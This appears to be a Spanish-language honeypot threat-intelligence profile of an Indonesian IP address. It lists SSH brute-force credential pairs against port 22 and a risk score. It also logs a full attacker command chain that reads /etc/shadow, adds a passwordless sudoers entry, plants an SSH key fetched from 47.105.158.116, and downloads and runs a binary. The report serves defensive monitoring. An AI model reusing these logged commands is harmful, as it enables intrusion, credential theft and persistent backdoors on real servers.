Amenaza Activa • MEDIO
103.152.36.150
Pais de Origen🇮🇩 Indonesia
Primera Deteccion23/1/2026
Ultima Actividad24/1/2026
ISPPT. Colo Media Netindo
🎯
253
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
4
Malware
Geolocalizacion
- Pais
- 🇮🇩 Indonesia
- Ciudad
- Desconocida
- ASN
- AS140433
- ISP
- PT. Colo Media Netindo
Tipos de Ataque
cowrie
Puertos Atacados
22
Malware Asociado
Credenciales Intentadas
🔐root/112233
2x🔐root/My123456
2x🔐root/1234567
2x🔐root/123
2x🔐root/P45w0rd
2x🔐root/Aa123123
2x🔐root/huawei@1234
2x🔐root/pass1234
2x🔐root/root123
2x🔐root/redhat123
2x🔐root/Qwe123!!
2x🔐root/1qazXSW@3edc123!@#
2x🔐root/Huawei@123
2x🔐root/Welcome123
1x🔐root/Abc@123456
1xComandos Ejecutados
$
uname -a;id;cat /etc/shadow /etc/passwd;lscpu;echo 'daemon ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers;chsh -s /bin/sh daemon;echo Password123 |passwd daemon --stdin;mkdir ~/.ssh;chattr -ia ~/.ssh/* ~/.ssh;wget http://47.105.158.116/ns1.jpg -O ~/.ssh/authorized_keys;chmod 600 ~/.ssh/authorized_keys;chmod 700 ~/ ~/.ssh;wget http://47.105.158.116/ns3.jpg -O /tmp/x;chmod +x /tmp/x;/tmp/x;mv /tmp/x /tmp/o;/tmp/o;rm -f /tmp/o;mkdir /sbin/.ssh;cp ~/.ssh/authorized_keys /sbin/.ssh;chown daemon.daemon /sbi2x$
chsh -s /bin/sh daemon1xURLhaus Intel1 URLsabuse.ch
Esta IP ha usado las siguientes URLs maliciosas conocidas:
http://47.105.158.116/ns1.jpgofflinemalware_downloadopensshpubpubkey
Evaluacion de Riesgo
55
/100
BajoMedioAltoCritico